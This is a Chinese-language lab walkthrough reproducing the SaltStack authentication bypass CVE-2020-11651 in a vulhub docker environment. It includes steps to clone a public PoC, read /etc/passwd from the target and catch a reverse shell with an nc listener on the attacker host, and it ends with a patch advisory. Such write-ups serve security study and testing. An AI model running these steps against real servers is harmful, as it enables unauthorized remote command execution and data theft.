SaltStack认证绕过复现(CVE-2020-11651)

0x01简介

图片1.png

Saltstack是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,可以理解为简化版的puppet,它基于python语言实现,结合轻量级消息队列(ZeroMQ)与python第三方模块构建。具备以下特点:

l 部署简单、方便

l 支持大部分UNIX/Linux及Windows环境

l 主从集中化管理

l 配置简单、功能强大、扩展性强

l 主控端和被控制端基于证书认证,安全可靠

l 支持API及自定义模块,可通过python轻松扩展

0x02漏洞简介

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞:

漏洞由ClearFuncs类引起,该类无意中暴露了_send_pub()和_prep_auth_info()方法。未经身份验证的远程攻击者通过发送特制的请求可在minion端服务器上执行任意命令,还能够提取根密钥来调用master端服务器上的管理命令。

0x03影响版本

SaltStack < 2019.2.4

SaltStack < 3000.2

0x04环境搭建

在这里就直接使用vulhub进行搭建

1.下载地址:git clone https://github.com/vulhub/vulhub.git

2.cd /vulhub/saltstack/CVE-2020-11651/

进去文件夹后,执行如下命令启动一个SaltStack Master服务:

docker-compose up -d


图片 1.png

使用docker ps查看环境是否启动


图片 2.png

0x05漏洞复现

小受:192.168.10.147

小攻:192.168.10.240

  1. 下载POC:

git clone https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP.git

执行poc需要安装salt库

pip3 install salt


图片 3.png
  1. 使用poc读取文件python3 CVE-2020-11651.py,给上目标ip后读取文件/etc/passwd文件


    图片 5.png
  1. 在小攻执行nc监听nc -lvnp 4444,然后选择4反弹shell,输入ip和监听的端口

192.168.10.240

444


图片 6.png

0x06修复建议

SaltStack官方已发布最新版本修复了上述漏洞,建议相关用户及时更新规避风险。

免责申明:
本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、攻击性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。
请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试(重要的事情说三遍),如作他用所承受的法律责任一概与作者无关!!!

你可能感兴趣的:(SaltStack认证绕过复现(CVE-2020-11651))